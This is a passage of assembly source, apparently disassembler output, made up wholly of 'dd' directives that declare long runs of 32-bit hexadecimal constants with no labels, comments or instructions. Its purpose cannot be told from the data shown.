2877A9A6h, 0FCDB7495h, 70E38336h, 0DFB2C840h, 320828F6h dd 5091BE99h, 8C1B2A31h, 4CA250A8h, 322C1339h, 0E34F8196h dd 55DCE34Dh, 0A6F2A384h, 348BBD9Eh, 154716DFh, 153390A3h dd 0B1DA4D98h, 0DAC60560h, 37D6AA3Ch, 8986A852h, 0A7564AE5h dd 0E9788867h, 0D55ED624h, 0B9DD5654h, 0A2F3F5F4h, 0CF70F73Bh dd 0CFE1E86Dh, 0DC50B484h, 6FD6559Ch, 97598AFAh, 0CE32B9A1h dd 9AB5123Fh, 2B0656BCh, 4326165Ah, 4BE808D5h, 200B5CAEh dd 3CCD68CFh, 0C53B03F1h, 17961F94h, 795042DBh, 0BA9FC020h dd 0E5BF010Ch, 0D21AD2D7h, 3B3A4C7Ah, 5C5D3ADBh, 0D244ADBFh dd 636546Bh, 0BD71B8A2h, 0C9CF6EB8h, 1802D7E0h, 15EBC6EDh dd 136C2E09h, 0ED93FA86h, 0BEB3A043h, 0DAC98DADh, 0BBD9ED36h dd 99CAF505h, 7E1DF0h, 9EC578C8h, 7E2EA7F5h, 0ED1AFDE8h dd 71391F56h, 0F851879Ch, 0D6EF71FAh, 2F424F14h, 0F1AFC033h dd 3CA3FE63h, 0E4B5318Ch, 9AF491CCh, 0AD9EC08Eh, 9AAAD4CEh dd 0FA6E4C25h, 20713D65h, 24522B37h, 1F9E4946h, 4AC536E2h dd 0B61AEBA2h, 5545411Fh, 312B56D3h, 7CB7382Ch, 2213CB1Bh dd 0A88886E0h, 0A1F8277Eh, 0A69206Fh, 0C5FAA7C6h, 6F1953C3h dd 0FCFDD668h, 41AB18DCh, 0EA7ED93Eh, 0A3A0D1F5h, 96A087C8h dd 69AC0045h, 4EDD841Fh, 707C3133h, 0D7F2FC40h, 0BB733F4Ch dd 0C487EE00h, 87CDF078h, 0F2E9BECAh, 13174FD5h, 8420D2DBh dd 932690A1h, 0FD053E1Ch, 34083239h, 0C01F01A8h, 0F518E6CBh dd 0A7FC553Fh, 0E2608306h, 375ABD87h, 3AE0CADCh, 0FD987966h dd 0C637FD36h, 90C480B6h, 2B01EC88h, 0C3B8710Ch, 46E64CF5h dd 1D85C0CEh, 0DB6E2D29h, 0B6404E90h, 0DEF04310h, 9468C78h dd 0D230DB2Dh, 3F90BA55h, 0CBE8CB8h, 322B4C87h, 0B2705852h dd 0C9ABA92Ah, 7486BABEh, 68315062h, 0DBD14A75h, 0AB63F8E9h dd 6CFEA442h, 0F3177E1Dh, 5D79459Fh, 2F31CF48h, 0D6FC7E3Fh dd 997F84A8h, 5A769249h, 66E7268Dh, 5854A215h, 168C4224h dd 0E380B26Bh, 0FDE90F81h, 18DAEE67h, 41FD9C24h, 0E8DE2787h dd 0D7715FFh, 5297BD4Fh, 0BF0854E5h, 8EF9FC1Fh, 78E213ABh dd 0CC07389Bh, 1E914D47h, 1B2EF1B5h, 0A31342CCh, 0F584C572h dd 0E1453C9h, 0A5B24DF7h, 0F27CA8F3h, 819E50BAh, 8959A920h dd 72F60F0Dh, 0C12BBE3Fh, 8FB230E4h, 1EBD957h, 0DDC4A4F3h dd 79FACED4h, 3ECA8058h, 1FCB661h, 0A51A9C6Eh, 580A1BB7h dd 938D6A51h, 0FBAC7291h, 76399F8Eh, 5DD9DD15h, 0DCF1F75Ch dd 84ED54CEh, 6E20B39Ch dd 0ED75D3E6h, 4FA58DD7h, 69A016D0h, 0C91B6A11h, 0C2D727A8h dd 44ABCA54h, 854BA548h, 1AA02F63h, 65463B0Eh, 0B6149F38h dd 0AAB70094h, 0BCEA604Bh, 7EBD1194h, 1580B09Bh, 47BD2C04h dd 0E6842046h, 0CB422CDDh, 624B8E7Ah, 26DF7860h, 8DBE23E5h dd 6C6CF619h, 8F51AB2Ah, 3CCED52h, 94A41315h, 5CCF563Ah dd 27106E1Bh, 3FCB3350h, 0F93FC59Bh, 0CBD2E1ADh, 8E2BBEFCh dd 0B14C1BF3h, 7A0F76EFh, 0C2CE10Ah, 5EF542D3h, 0EAF86D72h dd 46A825E1h, 7C781CBEh, 7238963Ch, 0BEA7B3B8h, 2B7C5F13h dd 688DE785h, 62ACD6A2h, 56740043h, 0B47E6EE5h, 79809975h dd 77065C9Ah, 0EF1DAECCh, 17467771h, 0B317C90Eh, 97482572h dd 0E1C9E714h, 0ABD90A44h, 3E5A5F67h, 2698E0C7h, 0F078F631h dd 161932E2h, 0DB40AB95h, 0AA33828Dh, 82225B2Ah, 93E48250h dd 48B487C4h, 0D8155EF7h, 0F7AC89A1h, 49AE3286h, 96B4C33h dd 0FC287884h, 0FBD66A4Dh, 2A49B9E9h, 0E65E6C6Fh, 0E835C4D5h dd 0AA5BD4BDh, 346722E1h, 92BFB208h, 58CDA053h, 5487672Ah dd 14FF198Ch, 2348E25Dh, 236C1D61h, 0B7135A93h, 0A3A45D88h dd 95D64958h, 0D85A7ADEh, 0FE863231h, 16A63DEh, 0B675F2C6h dd 6CF2526h, 0A22A50FEh, 36C1438Eh, 988A32C6h, 1B3675AEh dd 0D8C5D115h, 0B4F4288Fh, 6F256123h, 5EC8ED55h, 6E527787h dd 0DB91EDA7h, 0C9BCEA8Bh, 17CC57D8h, 26C60C3Bh, 0F718DC76h dd 5DDBEA2Bh, 0FD6A48A9h, 84F3AF76h, 0F39E8A3Eh, 7CDF71C4h dd 10819A61h, 3BC9C4A6h, 857584E7h, 4C0A4221h, 1B986D06h dd 0E10F4E8Ch, 0B0747C25h, 91555291h, 3CB85445h, 0C266CF92h dd 55780FD4h, 60EB91CDh, 0C5557C61h, 34A0FCECh, 4370E627h dd 3B0E2B26h, 643625Ch, 0CBB15655h, 77EFA634h, 6DEA0CDh dd 23856E37h, 97DEE8Ch, 0C4BFF6DFh, 95392952h, 0AFCC79B4h dd 0D65A6675h, 0F4CD43A4h, 26209CFDh, 0FDE5B223h, 50E2D130h dd 0C6C7C229h, 0C37F0413h, 0B888F056h, 0AD9DAB17h, 0DA9CBD9Eh dd 0D1241A69h, 83352A8Eh, 3696905Eh, 931BFD77h, 89609E62h dd 2CCABEC2h, 5F35FBE7h, 913FBCC8h, 67B3CCC6h, 105AB0AAh dd 3225F5D6h, 4E98DC84h, 613C73C7h, 70E9C9F3h, 7C861146h dd 54DF1686h, 0EE34FA19h, 5B04ED51h, 8FED669Bh, 29B414E1h dd 3611D464h, 9A2F620Eh, 0AC54E606h, 0D638AAF8h, 0C73F0EFCh dd 218E7BFDh, 433616Fh, 0A219F5F2h, 6DD55E75h, 1EF280ADh dd 0B56F8BDEh, 93F23404h, 0F9322C9Ah, 0AFF93DB7h, 9366E52Dh dd 9754A8A9h, 4816D727h, 0EAE8BC80h, 0D64B82FAh, 972FF33Ch dd 34AF9F8Ch, 99749E81h, 0D3611878h, 0B8234DD8h, 937AEDD9h dd 0CA6507CDh, 0ED637637h, 0F542C124h, 0FF02993Bh, 0E3B57F3Dh dd 0E474403Bh, 3A8FA923h, 0FD82D4A8h, 0EBBFF2Eh, 0C4B3B339h dd 7672D903h, 0CE08078h, 5A6FFB59h, 25BFEA51h, 0CD224FFEh dd 0BD9C3247h, 0D0AB6DA6h, 3F45D793h, 0B03D591Dh, 0DE530C2Eh dd 0DD1946CBh, 2FF8DDA4h, 0E645A8CFh, 68D17542h, 0C08522B1h dd 4A9AF51Ah, 5695E0CFh, 59BD85C4h, 1B791F02h, 49EF3726h dd 19FB759Ch, 4AF4A65Fh, 1A4C1624h, 74231DB0h, 79DC8E02h dd 0B7BA5CE2h, 77AFC8B2h, 1D6FC709h, 425B7416h, 5C08E562h dd 728053D5h, 1C423B09h, 395C353Dh, 0A5770BB6h, 36507517h dd 42BD8B95h, 0A6CADE6Fh, 0EB1B3EE8h, 661E27D7h, 0A66FD030h dd 0D79799E6h, 6EF552B2h, 868FABDEh, 0A452E34Fh, 0AC05CE2Ah dd 1749642Ah, 0B2333186h, 0D2F5B924h, 0F71041E3h, 0C7ECD1F4h dd 746037B7h, 0A2876862h, 435E13B8h, 40D5DB20h, 1E6CE021h dd 0F4AF4D42h, 455B163Dh, 0C6E8B1D0h, 8BAF1971h, 905F43C4h dd 0FE7C2902h, 41FE1748h, 0B97C1A0h, 0A9DEA871h, 133312E6h dd 0AA36F1B4h, 3C76E388h, 0C8BF6A3Fh, 0E44F3A2Ch, 0B982E55Ah dd 0C5FEF847h, 0EBAEEC36h, 0D4DB3A33h, 29D1FC18h, 0C5AE30A4h dd 4CB902E1h, 73398ADCh, 26806DBEh, 0C2B427D4h, 0CDDD7A6Bh dd 86E205CAh, 9D3141B4h, 0FC5F2DD9h, 6A58C16Eh, 4FD413D4h dd 0CD219110h, 1766F78Ch, 70658632h, 5C32871Dh, 0A7760283h dd 0DD7077Ch, 0AA5D1684h, 19C66A1Fh, 34D9AA6h, 37264607h dd 0D1A9A4A9h, 51BEB03Ch, 7298ECE7h, 0C39C7031h, 5EA69370h dd 0A9AA8872h, 56EFC2E6h, 0D1ED4A53h, 227919F0h, 0BA987BECh dd 0D23DEBD3h, 0EAFA5553h, 0D7CFD8C0h, 0CFE345B5h, 4373EA35h dd 49DDDDA8h, 69AE1904h, 91261CAFh, 0EB8403CAh, 198F4306h dd 0C7E75750h, 9C441019h, 3CD9E4ECh, 95735F82h, 0BD752424h dd 8DAD342Ch, 9A937BF7h, 0A12C5B0Dh, 0EB2582C7h, 0EFAFA8D5h dd 0B59CBC09h, 0F5A21169h, 0D336C588h, 87708B6Ch, 0A1488965h dd 4DFF901Ch, 0EA0E5630h, 0B6C56E9Ah, 664EC12Ch, 0D2B4A387h dd 0A7D22F9h, 6A9840C2h, 2F939FC4h, 0CDA9B9ABh, 0AB704AD2h dd 0B92809D9h, 7067D4C7h, 67CCA56h, 0BCEE7D5Fh, 0DA9A96F8h dd 7F867F5h, 0DFECEA8Fh, 0FFE59DF2h, 16557370h, 0CB7CFCAEh dd 0B35F6D7Ch, 0CD630AEh, 5BBC2B51h, 2DEA6652h, 97C83EE2h dd 0BA6FD41Eh, 0B07F3E22h, 0BF8051FBh, 0EDBFEB87h, 0DB8BA78Fh dd 7D569D68h, 0C20C5195h, 478C40F3h, 65B37A66h, 0C36A1418h dd 0F4C59948h, 35689ACEh, 2E93D612h, 0D2F32E9Ch, 0F71D69C7h dd 53DC45E7h, 8CC13F1h, 0C268A4Fh, 7D595A50h, 1F91ADEh dd 6A44749Ch, 0E7FE3ADFh, 8B833791h, 2591B3B5h, 1285075Ah dd 0B96B469Ch, 0C46DA2B2h, 98A260E4h, 0A180E4F4h, 0DE28C889h dd 0DA3FC6ECh, 0C8B967EDh, 9522F6CFh, 0E36F9060h, 0CD9E9346h dd 194EEE9Ch, 763C51F1h, 8ACAE4FBh, 0C88E6196h, 271BC171h dd 5D95DEB6h, 0BFB3230Eh, 937C67F8h, 616EF125h, 5C76E74Fh dd 36439D17h, 273C6967h, 0F0D6F620h, 7D122FFDh, 902A2F78h dd 296EDF07h, 959BE0Ch, 0EBADDC4Ah, 61642448h, 9DF7A0E1h dd 23774793h, 828AD8B7h, 0A1D5A4B1h, 0A6D5129Ah, 21A476FBh dd 226CED2Ch, 7A7EE2B1h, 0E5C41F7h, 0E08C40FFh, 0FF569337h dd 1F7D9AA4h, 0CF29B04h, 0A6A124F6h, 0A40B0752h, 6417E4FFh dd 48AE8E77h, 76380AA6h, 7B544E6Ah, 17EE6EFFh, 95455AC0h dd 0C37F9780h, 0F9668E24h, 0BB4F4A12h, 2496162Eh, 145B02B6h dd 0E9A6F0B3h, 976F2E3Dh, 9200FF45h, 419984Dh, 1AD1E591h dd 0E41692A8h, 0E559547h, 9EFC5CAFh, 1CEDBC1h, 0C3CF96BEh dd 928A4D59h, 0B9BBA191h, 2F331BB5h, 41E94A42h, 0E4E0643Eh dd 0AA3CAE3h, 3A28823Fh, 1056B27Fh, 0E0334606h, 60C0A0E9h dd 83D94D6h, 7CBB665Eh, 0FDF48C29h, 0DB85591Dh, 2B047B2Fh dd 17618025h, 0CC2679C7h, 8B67F492h, 0B552B202h, 0A1C9EDAh dd 989E369Eh, 23C23492h, 46BA9D2Dh, 0C19CF6E4h, 6A709AC4h dd 0F83A3F94h, 484DBD08h, 4AF60652h, 19B070CCh, 0DFED66FEh dd 0EEA35E6h, 0E61A6BB8h, 0AD26947h, 0CC63277Dh, 26185724h dd 8196F40Ch, 0EF7C63D2h, 86C793FCh, 0D6F5B1FCh, 0A5CD24CCh dd 0FF886428h, 3875D7F8h, 0DB8D1C21h, 0CE1B5179h, 2EECE8B6h dd 66D3AA50h, 0A41701FAh, 0D64ABF04h, 0C471454Dh, 0D8919D58h dd 824F6A22h, 0EB9DD594h, 0D9BEEA09h, 17B92901h, 9BDA2538h dd 4C1FDBCBh, 7B19F7DFh, 8FD01163h, 192286F4h, 0C14EDB17h dd 1939C718h, 7F02A908h, 2799743Fh, 7807716h, 0FAB24CB6h dd 0EBCCFA09h, 0E596F0F1h, 0D7328D30h, 0D9DC736Ch, 28526BDBh dd 92931899h, 90BC9256h dd 826BA30Ah, 0B4DB06F1h, 0DA877DA1h, 61277AA7h, 0E227BA26h dd 0F5803DABh, 4393B13Eh, 35A4DB9Dh, 53130EE5h, 0FD8112CBh dd 0C17A1FB5h, 680CD1ADh, 38E37411h, 0B133516Bh, 873BA52Bh dd 8AA72D1Bh, 587611F2h, 0FC51B68Dh, 5B407EECh, 0D4129E2Bh dd 0DEA3F937h, 61CAA868h, 0B31AC4C0h, 7A304E4Eh, 722D9852h dd 96B7EF35h, 0EF9DD209h, 8D930820h, 0A9226D28h, 831DD35Ch dd 0ED4C8706h, 0ACFB8127h, 0E5B07D3Eh, 907EE2FAh, 5F4D323Ch dd 17384C92h, 93F419A6h, 0F10B7D81h, 3AD6041Ah, 0E5B4C92Eh dd 6E1B8883h, 9B6AC6Bh, 0A527B249h, 0D9367C7Fh, 534A6766h dd 84ACDACCh, 96A1E661h, 0E985D2B4h, 6B3BFAFCh, 3087DC97h dd 753DE829h, 0CD3F2563h, 205481C9h, 26546C8h, 95343661h dd 5F86C2EBh, 26F1FFBBh, 50B239C2h, 0F5559324h, 0C105D903h dd 0D6C4C1A9h, 41A4C02Fh, 2159F41Bh, 0CDEF2449h, 26B5E1Bh dd 0B272ECC3h, 4EB93985h, 0F9FEB533h, 74551AEDh, 0D92D607h dd 7BB9C579h, 8F1D174Ah, 79D49B50h, 0BAD2F732h, 3747B76Dh dd 1E8A5A1Dh, 99841933h, 3E924DF6h, 61091B65h, 544DCB7h dd 13C41C07h, 907EF521h, 2BE040BEh, 0C4C5ACB5h, 1B11B05Fh dd 8EB3A0B4h, 0E3ECDB68h, 8C3A0CF4h, 75DB6E89h, 0F4809F76h dd 0D7B5718Ah, 64B17FFh, 9804D4F3h, 89204036h, 0D9355393h dd 894277A8h, 6C95C493h, 3E69B965h, 55D4C158h, 0B74D8447h dd 0DC386DCAh, 380C9D37h, 9CCCE22Ch, 59544D8Eh, 3201E35Ch dd 0D19A339Ch, 0ED323E8Ch, 9EE76AABh, 9CFC71FCh, 3E6DEA65h dd 9EAD9BA0h, 6DFFEE6Bh, 5EEB48ABh, 0B23816A6h, 9D27C0AEh dd 51ABC562h, 0ECC94BD9h, 0BC893FF6h, 756378DEh, 0A461F892h dd 26A88BA8h, 6A4A3D3h, 0B700BFDDh, 0BAF4B714h, 0D6990AF8h dd 31B61955h, 302D0703h, 5B23C3A0h, 0B25B064Bh, 0DC5F9BBCh dd 0CE02F2BBh, 0F8206BACh, 7D53EED0h, 885666B6h, 13740A2Dh dd 0E9F2CAF9h, 327A5179h, 942B6C26h, 3EB9DBF9h, 8FA6B094h dd 0C4EC0A42h, 8E1356DBh, 273BEF3Ch, 7E63956Fh, 8829A049h dd 0D95A83B2h, 0AC96F502h, 633526C5h, 772BB56Eh, 0D18DA16h dd 8A6947B2h, 0BD186090h, 345A38F0h, 8F34EA7Eh, 0FE1F8453h dd 0EBEA52A8h, 0F45200C9h, 3B23E4EEh, 0F5DF928h, 0D2C28D7h dd 0DCCF6F15h, 0CD85521Dh, 274CB77h, 9FA26BF6h, 3B1AE32Ah dd 81E98563h, 0B42E455Ah, 851AB9FBh, 0D1F8687Ch, 5C244803h dd 0E9FE2FA8h, 0C625B5C6h, 77C98686h, 0F1ABB650h, 3F6D6F4h dd 0E8554D20h, 2F7B0BE0h, 70D274C3h, 0C26C9FC2h, 0AAB2605Ch dd 25504224h, 758D066Dh, 32357EE2h, 48787251h, 34DD6E73h dd 64CDB65Ah, 890879D3h, 0E6481678h, 0BCF6FBC5h, 9C223883h dd 247BA857h, 0C6B629A0h, 40A9EEC8h, 7BBC1765h, 9B87D795h dd 55D3EF4Bh, 50A7A4FAh, 3BBEA6AFh, 58C13E72h, 1669C350h dd 392398C9h, 2CFB70D2h, 7F6CA76Eh, 9368D529h, 63B025DDh dd 73585F4Fh, 26C086A1h, 0E6D0E38h, 49DEF8E5h, 0B4C72E64h dd 2C6A0639h, 6E8EAE57h, 0C97534F5h, 0D974660Ch, 0E141F72Bh dd 72B4602Eh, 45D125C0h, 38AA47C4h, 51D92167h, 0B970F66Dh dd 0CC254A63h, 5FE3AC47h, 8647261Ch, 0B0750D80h, 90F5D926h dd 0C0F4538Ch, 7E2D9035h, 0F6FD624Eh, 20363852h, 7DE624B3h dd 36552343h, 6B8916CEh, 0A9C4989Ch, 0C3C4A4D5h, 0E932AE43h dd 79B65488h, 0E48402CCh, 25F15FCCh, 58D6448h, 7DA48706h dd 19854149h, 97758996h, 1DF2DFE4h, 80CBBD77h, 0B4803E80h dd 63C8C674h, 191DC3FDh, 341A0357h, 0DEA5653Bh, 0CE708D64h dd 0CAA0B8CDh, 7BE21FB9h, 910E0268h, 42E769C6h, 128FDFDAh dd 730EDF8Ch, 67B22607h, 0BB77B9D9h, 5729331Ch, 0EB55742Bh dd 0D7002117h, 239F4E1Ah, 0F86F4332h, 8A9B4AD8h, 0A3545863h dd 0A9F4AD60h, 0F7787A5Ah, 0C318B5Bh, 3B9DFD5Ah, 31A11B26h dd 7B2DEA42h, 2ECA10C5h, 28F81FDBh, 7E635916h, 6B7A8B68h dd 2911368Eh, 0FA998928h, 788B9C22h, 0F6180728h, 3C85091h dd 0D10440B3h, 50273935h, 41548FCBh, 5724D59Eh, 581FA7CEh dd 30CC64DAh, 0ACE268A1h, 3F9F245Fh, 6E69398Eh, 7A8C4079h dd 0E49A94B2h, 861C204Fh, 0E881FD30h, 0B5A5F4A4h, 0A29E568Fh dd 69086510h, 0A20B2687h, 3B014B1Fh, 0A6F0544Fh, 0E1D806F2h dd 0F7B3CE5Ah, 0B8A69D73h, 0B70C3523h, 36BD1970h, 0DCE8CBC7h dd 845A0963h, 6732D6CAh, 0E0036816h, 0DC2266E4h, 0E288A58Ch dd 7750BA2Dh, 576FF014h, 0D245BA33h, 73A27024h, 726CD5A2h dd 2B1C7504h, 0B1B55567h, 0C4ADA19Fh, 17E2E8C5h, 2643EABAh dd 5CC17FDh, 69FDB027h, 98C06146h, 6E608CC2h, 0CE916489h dd 0E66D7D9Ah, 0EC581F0Fh, 2E7667C1h, 6B47CD70h, 25C96549h dd 385B9D10h, 65A74B07h, 2383A45Dh, 68293801h, 50B72540h dd 0AF6197CFh, 49456D1Dh, 81C5CC38h, 405783AAh, 0DAB3BF72h dd 0DCDBE193h, 72294BD1h, 9ABED9FAh, 0F0EFCA9Fh, 0CA94D720h dd 5AD0103Eh, 323DCD9Bh, 951D8655h, 1408369Dh, 0F7B858F3h dd 18D9275Dh, 1F2967D1h, 0C1549A31h, 7DBCC083h, 440D408Ch dd 6F8FFA53h, 78A120B9h, 186DF973h, 0E62F2B25h, 0A2500CF4h dd 61D1F978h, 9D3A9AC3h, 391FBCB2h, 0A836ED59h, 0CC150CD4h dd 922E466Ch, 554EF486h, 0E68B433Bh, 4EA7EF34h, 964E8EB0h dd 8EA0EB03h, 0AC0A04BEh, 374AFD18h, 73623A7Dh, 0EEB8010Dh dd 596F30B5h, 0D53EC1A5h, 6526921h, 6D6B77AEh, 0ECEF22BCh dd 7B185532h, 0AA391061h, 8C4FFF0h, 0EA211BBEh, 6C7660DDh dd 55EF92F4h, 0F2E5DAC2h, 7ADA7E1Fh, 97653B4Bh, 0EECBCDDDh dd 0E0A662E5h, 0EFE9741Eh, 0D8964C2Bh, 919D3899h, 0B799856Bh dd 0AE231657h, 975E085h, 184FCF15h, 38C6187h, 764357D3h dd 11EEB85Fh, 3D29214Fh, 3FFC93Ch, 0FCD0A4D8h, 7BF1E4C1h dd 9B963F1Ch, 0E769505Eh, 0EE94DB2Bh, 6C13D5C9h, 86E416DCh dd 3808D286h, 719A1FD5h, 0E551C14Ah, 0B20FA1AFh, 6BF1D7F9h dd 0D0EB61D8h, 0DF502D2Ah, 1D541C3Dh, 18D7C02Fh, 2B25B4A7h dd 0C1C06F5Ah, 8E1D2311h, 69464DC3h, 2778C552h, 524AB44Dh dd 24C41EE5h, 0B5E6FE70h, 0E748B364h, 0F04075C4h, 5A35D8D5h dd 660B0Ah, 1E501245h, 124FF821h, 0BD64B012h, 0E2FAC356h dd 0D5523075h, 0F2859A60h, 30F6814Ch, 3779E258h, 9EC96917h dd 0DCA35D71h, 9A1C654Dh, 80FA31C6h, 2D9CE1A9h, 5D1BC167h dd 9CDC409Fh, 0BCAC0DDFh, 81184F20h, 62FE65D8h, 4B46520Eh dd 4CE7931h, 0EA2C4CFCh, 5CF1C83Ah, 0E9BCEC7Fh, 97B036E7h dd 0F4C14EB6h, 9CCB579Dh, 896D3EADh, 0E1A77788h, 0EF1F333h dd 9F225080h, 63D4E063h, 7B45CA3h, 9CD672D6h, 0AE09D6Ch dd 0A8BA6336h, 4BB7BE0Eh, 306EB3Bh, 0B6FA135h, 85CF4287h dd 0D1BF4A1Ch, 203AEB58h, 0ACA02A12h, 7CDE8F7Fh, 3461AF47h dd 0D8239C86h, 0F47487ECh, 0DE8273A8h, 24A81183h, 2931D477h dd 2F2768AFh, 17A03C38h, 63054077h, 0F974FD13h, 0F0668F33h dd 0B01D1197h, 173DC44h, 0AC3D67DCh, 43CE4C07h, 1123091Fh dd 329FC5DDh, 0E0A5D171h, 0F42D67FBh, 0A331C8E6h, 0C11D196Bh dd 9D5C6B00h, 3663A987h, 588934h, 322E70B9h, 5779D7Eh dd 0E8C95470h, 6A9A9103h, 23490EFBh, 3B924BFh, 0C759D02h dd 4EA565D8h, 47F9AD9Ch, 8F2A0281h, 75082CFBh, 0F0F3E591h dd 0F157D69Dh, 0D7BC543Ch dd 6E4203F0h, 0C9F4AB29h, 72572DD1h, 1A8719AFh, 3BC35B56h dd 0F922AF04h, 62908F2Fh, 145ABE11h, 5E6C166Ch, 0BF56D71Eh dd 5C631220h, 0C40BC694h, 1C8D2718h, 336351A8h, 0A8A4F367h dd 0CF648DB2h, 0E69EAE99h, 1434BA90h, 506C995Eh, 0E5CD026Fh dd 89761B03h, 3280EBE1h, 0F819708Ah, 0BC031A6Dh, 507A228Dh dd 46478E42h, 68BFDF90h, 0ADADE3B0h, 7898070Dh, 0E61B5D27h dd 1D5E8BAEh, 5B3638F0h, 65B449CEh, 355A3B38h, 46D99626h dd 97CF801Bh, 8C136451h, 76E3C997h, 626EBDC9h, 5CA2199Bh dd 8028F51Fh, 0EA3944ECh, 6E032229h, 0D15568F5h, 0E0323EC1h dd 8C59F232h, 4E9AEB31h, 0B59860EBh, 63BBB86Ah, 0F61C45A7h dd 0BD40F0A0h, 0A00CA39Ah, 2F61E708h, 9CEE115Dh, 4BDFE150h dd 3D543B4Dh, 0BB4245C8h, 0FAC27DF1h, 25B603Fh, 85D3F465h dd 0AC89623Ah, 7B3A7272h, 143E5B0Fh, 7D4D28C2h, 0B171A90Fh dd 50D90A6Fh, 9B57B56Ch, 0BDCA7EF5h, 4FC28DFEh, 0E876DC4Ah dd 0CEFF765Bh, 30594FFEh, 0DCED89EFh, 6DC328C1h, 56D7E5BEh dd 6C32A201h, 0D4C5DE49h, 4EF5186Bh, 35C952D8h, 0B90EFB80h dd 765E7B59h, 5C7999Ch, 0FA268567h, 0CB5DD1D9h, 8E20A96Dh dd 63FC290Bh, 0AE9989A3h, 0DC2C5A54h, 395DA901h, 13CA5806h dd 73D8AF5h, 48D25EB4h, 0B5E2C75Bh, 50787458h, 5A6A21D4h dd 5821D01h, 99DE766Bh, 809E4266h, 0FCB4E2FFh, 3D50ACE9h dd 71CFC727h, 5CD46B12h, 0DCD5408Fh, 0C861281Fh, 0EAF4D3DCh dd 2F93081Ah, 2F50FFFDh, 1A24BE82h, 658786DDh, 0CA6D95A6h dd 453AA28Eh, 8E04D401h, 0E66B5DAAh, 3156936Dh, 0E98D42F7h dd 7326D558h, 0D7F4DD83h, 0B0BCC032h, 7F3734E2h, 0A84AE974h dd 0DE257A0Fh, 0B6999BB0h, 2F7E8352h, 0DEDE7386h, 0CC9ADB84h dd 51B0D359h, 0BEC2AD12h, 8DE8FF2Dh, 0B7F4AF5Eh, 0BABB706Dh dd 80065F68h, 668AD710h, 45CE501Eh, 7A408A1Dh, 0A13202C9h dd 40610C4Bh, 14971536h, 7ED5B1CDh, 237DEC6Ah, 0C29ACA30h dd 0C673BBF6h, 118AC760h, 30B1A9C9h, 0D5CEF920h, 0A43C272h dd 0A73D45FDh, 0FAE182D6h, 0A5C5EE8h, 0E452303Eh, 0E12CA6D3h dd 6BAD8C21h, 46090572h, 101AE426h, 48031558h, 5E5DAE31h dd 2821EF74h, 0A30BFFBAh, 0FC49C5Ah, 6DDF8123h, 0AB6888CFh dd 92C72CA6h, 0B7697C7h, 6B73E44h, 30F96FA5h, 30F28D19h dd 0EBC2D5h, 5662FC71h, 76352CD7h, 4D990189h, 0C6ED5CBEh dd 2A786263h, 7294D357h, 0B22C099Ah, 36A9AE30h, 6DB5807Dh dd 0B605E033h, 9CFD51BAh, 0BC58495Bh, 56983F04h, 1F9CFA63h dd 0B3900AE7h, 0BA032E31h, 393E5D49h, 17F8F89Bh, 48700335h dd 4626132Dh, 94108CCBh, 323D1109h, 6656A82Eh, 974B3273h dd 0E09E0FCBh, 974582DFh, 4C8721DFh, 2BAB834Bh, 7263C304h dd 0E15FC09Eh, 0F516400Ch, 2E42C514h, 0B12102D4h, 0CE8660C7h dd 0D681BCC4h, 0C20F823Dh, 0FE1159Bh, 0C9D0A967h, 0EB4B18F4h dd 2517A5E6h, 0E7019394h, 449C0659h, 4EB68B45h, 4B877261h dd 0F1C52D88h, 11FED4C4h, 0E6F22D8Bh, 80AA7486h, 82F0C744h dd 9CF5FF7h, 0AFB51B54h, 0F811B0C4h, 0D47BAC7Eh, 57F55FD7h dd 0A8DBFD0h, 0C01DF77Eh, 80D816E6h, 32CD697Dh, 57387F6Fh dd 705D969Dh, 1CEFA0FAh, 0A8A895D5h, 1F982B9Ch, 70A73145h dd 74FDCBC4h, 0B8728A28h, 0BDBCF1A5h, 0F486A855h, 10313969h dd 0EFADB720h, 0FBFAC3ABh, 0F5A95FE5h, 16926FC8h, 0B6276AE0h dd 6C478BBh, 0AAE70791h, 32C18083h, 0D8674918h, 0B7904D38h dd 590551E0h, 0B42E1AB8h, 0ECB30304h, 4B80AB2Ah, 0FBB11200h dd 907E4EA1h, 0CA056006h, 5F086E6h, 0AB38A664h, 0DB56241Eh dd 1FDFE814h, 0A6BB12C8h, 7C655D69h, 5ACA21A8h, 71B74A5Dh dd 0C506EACCh, 70009962h, 97165331h, 123B3DB8h, 53716E86h dd 24D396F1h, 3AAA3687h, 0B1919EC5h, 0EEF8725Eh, 872DF27h dd 426535D4h, 0FBEFDDD8h, 0DD786134h, 0DD90895Dh, 0F1096272h dd 7D8C2051h, 90712069h, 0DA776E29h, 54F4E28h, 4AEE0A61h dd 0A313EEB6h, 82FD882Ch, 0C57A746Eh, 2CA6A3E0h, 0E1C478C9h dd 0B9CF826Eh, 7248543h, 0A38B659Dh, 7974FE8h, 2261BF53h dd 0E84306F8h, 0C1C1712Eh, 0A2CF8F3Eh, 96249194h, 2F1C6E32h dd 9AD15DF5h, 7A072F4h, 740AF515h, 42683F58h, 83F28544h dd 9F7BC161h, 53658ECDh, 3F9BA79Ah, 8CD59B87h, 0A2C81602h dd 0D15AD2C9h, 0A00EC316h, 0A238F200h, 11CC0954h, 0BAE3EC0Ch dd 70EC77CFh, 869FCB11h, 73570373h, 29D56A0h, 92E2FF55h dd 0BC9FD8BBh, 0DF219084h, 8A2353EBh, 0A679230Bh, 35C1D5E1h dd 8E19CD04h, 63E8F273h, 1CAB4B2Fh, 1D199AC9h, 919C379Bh dd 77EDB2FEh, 0DD3DECF1h, 87FDC8C8h, 0D3CDC46Eh, 56171D07h dd 42443322h, 0F0C95E60h, 2FEC8E02h, 0D9C5F189h, 1949FDE6h dd 0ECBF1057h, 241B0E23h, 0D45524C7h, 0FE4B2C99h, 4525FBD6h dd 433CE666h, 0C443500h, 34355775h, 0A0CF99A6h, 557540F5h dd 0D8198D7h, 0FBF58BBEh, 5429B92Ah, 37E4B2D6h, 0E1FC3349h dd 43140AA6h, 3F9F9B55h, 400EAB7Ch, 128A54DBh, 20EFB9EBh dd 1BFDE245h, 48186D56h, 0DE33EFBCh, 928743EAh, 6B87516Fh dd 84B157E9h, 2E0A0E6Fh, 5575343Bh, 0A4063E0Dh, 0ACB47FD6h dd 65194C79h, 0B7EF4AFDh, 0ED4E602h, 84151BA0h, 3A848CDFh dd 3779FAF7h, 0EB611351h, 0D2ABB790h, 0A11A1CD0h, 35B8F4Bh dd 643EF6B6h, 4EA8EB8h, 3AEEB0D7h, 0AA99E316h, 6827457Eh dd 11BAC832h, 4C800C7Ch, 2FFBAC9h, 263DFBB7h, 0D274640Eh dd 7D8C424Fh, 268C5437h, 31169C10h, 0E639EEB4h, 86CD12BBh dd 